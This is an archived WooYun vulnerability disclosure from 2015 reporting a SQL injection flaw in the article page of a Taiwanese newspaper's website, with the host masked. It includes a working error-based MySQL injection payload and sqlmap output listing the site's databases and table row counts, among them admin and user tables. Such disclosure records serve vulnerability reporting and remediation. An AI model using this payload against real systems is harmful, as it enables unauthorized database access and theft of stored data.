当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0162846

漏洞标题：民眾日報某处SQL注入漏洞（臺灣地區）

相关厂商：民眾日報

漏洞作者： 路人甲

提交时间：2015-12-21 12:38

修复时间：2016-02-07 17:56

公开时间：2016-02-07 17:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-21： 细节已通知厂商并且等待厂商处理中
2015-12-24： 厂商已经确认，细节仅向厂商公开
2016-01-03： 细节向核心白帽子及相关领域专家公开
2016-01-13： 细节向普通白帽子公开
2016-01-23： 细节向实习白帽子公开
2016-02-07： 细节向公众公开

简要描述：

民眾日報創立於1950年，為台灣五大報之一，群眾網（http://www.mypeople.tw）為民眾日報多媒體服務平台的一環，以成為兩岸及海外華人最重要的數位及新聞交流平台為目標。群眾網於2014年正式上線，積極與大陸媒體合作，包括中國移動、上海文廣、新華社、人民日報、央廣、中新社、海峽導報…等，讓海峽兩岸與東南亞的人民都能無阻礙地收看各地新聞資訊與媒體內容。

详细说明：

注入点：http://**.**.**.**/article.php?id=818717

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=818717 AND (SELECT 8063 FROM(SELECT COUNT(*),CONCAT(0x3a666c643a
,(SELECT (CASE WHEN (8063=8063) THEN 1 ELSE 0 END)),0x3a6571663a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[00:20:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0
[00:20:56] [INFO] fetching database names
[00:20:56] [INFO] the SQL query used returns 6 entries
[00:20:56] [INFO] resumed: information_schema
[00:20:56] [INFO] resumed: mypeople
[00:20:56] [INFO] resumed: mypeople_old
[00:20:56] [INFO] resumed: mypeople_test
[00:20:56] [INFO] resumed: mysql
[00:20:56] [INFO] resumed: test
available databases [6]:
[*] information_schema
[*] mypeople
[*] mypeople_old
[*] mypeople_test
[*] mysql
[*] test


漏洞证明：

Database: mypeople_old
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| newsitem                              | 88497   |
| sys_log                               | 3007    |
| layoutv2_config_scss_list             | 739     |
| html                                  | 492     |
| ml_lang                               | 201     |
| sys_func_v2_update                    | 181     |
| layoutv2                              | 135     |
| admin_menu                            | 86      |
| keep_login                            | 79      |
| ml_label                              | 67      |
| sys_config                            | 51      |
| admin_resource                        | 41      |
| admin_group_perm                      | 30      |
| contactus_web                         | 29      |
| theme_a_list                          | 26      |
| member                                | 24      |
| admin_group_action_perm               | 14      |
| customer                              | 14      |
| item1type                             | 14      |
| theme_a                               | 14      |
| admin_sub_menu                        | 9       |
| product_shop_type                     | 7       |
| product_type                          | 7       |
| admin_group                           | 6       |
| sys_func_v2_update_other              | 5       |
| admin_user                            | 4       |
| admin_user_perm                       | 4       |
| product_inquiry                       | 4       |
| layoutv2_config_scss                  | 3       |
| ml                                    | 3       |
| product_shop                          | 3       |
| sys_func_v2_list1                     | 2       |
| admin_group_url_perm                  | 1       |
| inventory                             | 1       |
| orderform                             | 1       |
| sys_func_v2                           | 1       |
| sys_func_v2_list1_attr                | 1       |
| sys_func_v2_update_attr               | 1       |
+---------------------------------------+---------+
Database: mypeople
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| newsitem                              | 105004  |
| sys_log                               | 7489    |
| html                                  | 1724    |
| layoutv2_config_scss_list             | 739     |
| customer                              | 326     |
| ml_lang                               | 201     |
| sys_func_v2_update                    | 181     |
| keep_login                            | 175     |
| layoutv2                              | 135     |
| admin_menu                            | 86      |
| ml_label                              | 67      |
| sys_config                            | 51      |
| member                                | 47      |
| contactus_web                         | 44      |
| admin_resource                        | 41      |
| admin_group_perm                      | 30      |
| theme_a_list                          | 26      |
| admin_group_action_perm               | 14      |
| theme_a                               | 14      |
| admin_sub_menu                        | 9       |
| admin_group                           | 6       |
| admin_user_perm                       | 5       |
| sys_func_v2_update_other              | 5       |
| admin_user                            | 4       |
| layoutv2_config_scss                  | 3       |
| ml                                    | 3       |
| sys_func_v2_list1                     | 2       |
| admin_group_url_perm                  | 1       |
| sys_func_v2                           | 1       |
| sys_func_v2_list1_attr                | 1       |
| sys_func_v2_update_attr               | 1       |
+---------------------------------------+---------+
Database: mypeople_test
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| wp_postmeta                           | 1203705 |
| wp_cpd_counter                        | 1137652 |
| wp_term_relationships                 | 185042  |
| wp_posts                              | 128220  |
| phpbb_search_wordlist                 | 38450   |
| phpbb_log                             | 22642   |
| wp_usermeta                           | 22080   |
| SAQ_CLICK_STATISTICS                  | 6720    |
| phpbb_sessions                        | 3532    |
| wp_options                            | 3099    |
| wp_term_taxonomy                      | 1925    |
| wp_terms                              | 1925    |
| phpbb_search_wordmatch                | 1084    |
| phpbb_confirm                         | 415     |
| phpbb_acl_roles_data                  | 390     |
| phpbb_styles_imageset_data            | 348     |
| phpbb_config                          | 267     |
| phpbb_acl_groups                      | 262     |
| wp_commentmeta                        | 258     |
| phpbb_modules                         | 198     |
| wp_huge_it_videogallery_params        | 175     |
| wp_comments                           | 166     |
| phpbb_acl_options                     | 117     |
| phpbb_user_group                      | 86      |
| phpbb_extensions                      | 66      |
| phpbb_users                           | 65      |
| wp_users                              | 61      |
| phpbb_forums                          | 54      |
| phpbb_bots                            | 45      |
| phpbb_smilies                         | 42      |
| wp_huge_itslider_params               | 38      |
| phpbb_login_attempts                  | 28      |
| wp_woocommerce_termmeta               | 28      |
| phpbb_acl_roles                       | 24      |
| phpbb_topics                          | 11      |
| phpbb_icons                           | 10      |
| phpbb_extension_groups                | 9       |
| wp_huge_it_videogallery_videos        | 9       |
| phpbb_groups                          | 8       |
| phpbb_forums_track                    | 6       |
| phpbb_topics_posted                   | 6       |
| phpbb_posts                           | 5       |
| wp_ewwwio_images                      | 5       |
| wp_links                              | 5       |
| phpbb_reports_reasons                 | 4       |
| phpbb_styles                          | 4       |
| phpbb_styles_imageset                 | 4       |
| phpbb_styles_template                 | 4       |
| phpbb_styles_theme                    | 4       |
| phpbb_sessions_keys                   | 3       |
| wp_bp_activity                        | 3       |
| wp_huge_itslider_images               | 3       |
| phpbb_acl_users                       | 2       |
| phpbb_drafts                          | 2       |
| phpbb_lang                            | 2       |
| wp_huge_itslider_sliders              | 2       |
| phpbb_ranks                           | 1       |
| phpbb_topics_watch                    | 1       |
| wp_bp_xprofile_fields                 | 1       |
| wp_bp_xprofile_groups                 | 1       |
| wp_huge_it_videogallery_galleries     | 1       |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| COLUMNS                               | 2497    |
| STATISTICS                            | 485     |
| GLOBAL_STATUS                         | 291     |
| SESSION_STATUS                        | 291     |
| GLOBAL_VARIABLES                      | 277     |
| SESSION_VARIABLES                     | 277     |
| KEY_COLUMN_USAGE                      | 270     |
| PARTITIONS                            | 249     |
| TABLES                                | 249     |
| TABLE_CONSTRAINTS                     | 231     |
| COLLATION_CHARACTER_SET_APPLICABILITY | 130     |
| COLLATIONS                            | 129     |
| USER_PRIVILEGES                       | 83      |
| PROCESSLIST                           | 53      |
| CHARACTER_SETS                        | 36      |
| SCHEMA_PRIVILEGES                     | 32      |
| PLUGINS                               | 7       |
| SCHEMATA                              | 6       |
| ENGINES                               | 5       |
+---------------------------------------+---------+
Database: mysql
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| help_relation                         | 1009    |
| help_topic                            | 510     |
| help_keyword                          | 453     |
| help_category                         | 40      |
| user                                  | 5       |
| db                                    | 2       |
+---------------------------------------+---------+

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2015-12-24 18:13

厂商回复：

感謝通報

最新状态：

暂无